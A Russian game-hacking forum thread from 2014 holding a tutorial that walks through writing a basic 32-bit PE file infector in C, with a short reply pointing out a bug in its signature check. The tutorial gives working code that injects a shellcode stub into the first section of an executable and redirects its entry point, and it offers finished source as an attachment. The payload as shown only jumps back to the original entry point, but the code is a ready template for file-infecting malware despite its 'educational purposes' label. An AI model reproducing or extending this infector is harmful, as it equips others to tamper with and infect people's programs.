Регистрация Главная Пользователи Все разделы прочитаны
Сообщения за день Справка Регистрация
Старый 12.06.2014, 18:06   #1
Подпольщик RF Online
 Пехотинец
Аватар для артём612
 
артём612 лучик света в грозовом небеартём612 лучик света в грозовом небеартём612 лучик света в грозовом небеартём612 лучик света в грозовом небеартём612 лучик света в грозовом небеартём612 лучик света в грозовом небеартём612 лучик света в грозовом небе
Регистрация: 10.10.2011
Сообщений: 65
Популярность: 772
Сказал(а) спасибо: 58
Поблагодарили 57 раз(а) в 32 сообщениях
Отправить сообщение для артём612 с помощью Skype™
 
По умолчанию [Tutorial]PE infect

Привет жукоюзеры!

Думаю многим хотелось бы узнать как всё таки инфицируется файл(.exe)... и так поехали!

Эта статья поможет в написании самого простейшего Инфектора исполняемых файлов(x32).

Открывать файл\писать в него\читать мы будем через функции работы с файлом <stdio.h>

В теории что мы должны сделать
  • Проверить валидность файла
  • Прочитать данные(РЕ структура,Секции)
  • Записать наш код
  • Изменить точку входа

Нам понадобится написать простенькие вспомогательные функции...
  • Для простого чтения числа из файла

    Код:
    DWORD NRead(FILE *F,DWORD offset)
    {
    DWORD ret = 0;
    fseek(F,offset,SEEK_SET);
    fread(&ret,sizeof(ret),1,F);
    return ret;
    }
  • Для проверки валидность исполняемого файла

    Код:
    bool PEValide(FILE * F)
    {
    DWORD offsPE;
    WORD MZ;
    fseek(F,0,SEEK_SET);
    fread(&MZ,sizeof(MZ),1,F);
    
    if(MZ == 0x5A4D)
    {
    offsPE =  NRead(F,0x3c);
    offsPE = NRead(F,offsPE);
    if(offsPE == 0x00004550) return true;
    }
    return false;
    }
  • Для Чтения секции

    Код:
    IMAGE_SECTION_HEADER ReadSection(FILE *F,int number)
    {
    IMAGE_SECTION_HEADER RSection;
    DWORD offsPE;
    offsPE =  NRead(F,0x3c);
    fseek(F,(offsPE+sizeof(IMAGE_NT_HEADERS32)+(0x28*(number-1))),SEEK_SET);
    fread(&RSection,sizeof(IMAGE_SECTION_HEADER),1,F);
    return RSection;
    }
  • Для Чтения\Записи PE структуры

    Код:
    IMAGE_NT_HEADERS32 GetPEHEADER(FILE * F)
    {
    IMAGE_NT_HEADERS32 nPE;
    DWORD ofPE = NRead(F,0x3c);
    fseek(F,ofPE,SEEK_SET);
    fread(&nPE,sizeof(nPE),1,F);
    return nPE; 
    }
    Код:
    void SetPEHEADER(FILE * F,IMAGE_NT_HEADERS32 nPE)
    {
    DWORD ofPE = NRead(F,0x3c);
    fseek(F,ofPE,SEEK_SET);
    fwrite(&nPE,sizeof(nPE),1,F);
    }
  • И конечно же сам шел код!

    BYTE data[20] = "\xe8\x0\x0\x0\x0\x5f\x83\xef\x5\x81\xc7\x0\x0\x0\ x0\xff\xe7";

    Это переведённый в байты ассемблерный код который выглядит вот так :

    call introGetCurrentEip
    introGetCurrentEip :
    pop edi ;Узнаем текущий адрес

    sub edi,5 ; Узнаем адрес нашей точки вход

    add edi,00000000 ;Вместо нулей мы впишем смещение на реальную точку входа относительно нашей

    jmp edi

Каково это в действии...


int APIENTRY WinMain(_In_ HINSTANCE hInstance,_In_opt_ HINSTANCE hPrevInstance,_In_ LPTSTR lpCmdLine,_In_ int nCmdShow)
{

//Открыть файл

F=fopen("C:\\infect.exe","rb+");

//после проверить его на валидность

if(PEValide(F))
{
//прочитать PE структуру

hPE = GetPEHEADER(F);

//прочитать первую секцию кода

cSection = ReadSection(F,1);

//Найти смещение Реальной точки входа от нашей
//Точка входа - (наша точка входа)
DWORD offset_to_EP = hPE.OptionalHeader.AddressOfEntryPoint -(cSection.VirtualAddress + cSection.SizeOfRawData - 19);


//Записать смещение в наш ассемблерный код

memcpy(&data[11],&offset_to_EP,4);


//В открытом файле переходим почти к концу первой секции
//Указатель на первую секцию в файле + размер этой секции - 19 байт 19 байт это наш Код в ассамблере
fseek(F,cSection.PointerToRawData + cSection.SizeOfRawData - 19,SEEK_SET);

//Записываем наш код в конец 1 секции
fwrite(&data,19,1,F);

//Меняем точку входа в приложение (При старте приложения переход совершится на наш код а не код программы)
hPE.OptionalHeader.AddressOfEntryPoint = cSection.VirtualAddress + cSection.SizeOfRawData - 19;

//Записываем изменённую структуру в файл
SetPEHEADER(F,hPE);

}

//Закрываем файл
fclose(F);


return true
}


Что мы получаем от этой инфекции файла...

[Ссылки могут видеть только зарегистрированные пользователи. ]

Мы запускаем заражённую нами программу
Она переходит на наш код(безобидный) который переходит обратно на стандартную точку входа.



Тема была создана только для познавательных целей...

Готовый исходник во вложениях!
Вт [Ссылки могут видеть только зарегистрированные пользователи. ]

Автор артём612 aka JustNuke, при копировании указывать копирайты.

Специально для zhyk.ru
Вложения
Тип файла: rar PE Injector.rar (220.7 Кб, 28 просмотров)

Последний раз редактировалось артём612; 19.06.2014 в 19:49.
  Ответить с цитированием
3 пользователя(ей) сказали cпасибо:
jaja123 (15.06.2014), Yukikaze (16.06.2014), Я-artemfcsh (18.06.2014)
Старый 28.07.2014, 21:17   #2
 Разведчик
Аватар для JKornev
 
JKornev никому не известный тип
Регистрация: 28.07.2014
Сообщений: 1
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Re: [Tutorial]PE infect

Функция "Для проверки валидность исполняемого файла" не является валидной, оффсет сигнатуры PE заголовков может варьироватся в пределах одной страницы памяти
  Ответить с цитированием
Ответ

Опции темы

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Tutorial] CE Tutorial Глюконатор Rising Force Online 59 24.02.2012 08:40
[Tutorial] Безоткатки Yohan Rising Force Online 114 04.08.2010 17:02
[tutorial] секреты maxxx Warcraft 3 2 01.06.2008 16:32

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 01:06.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net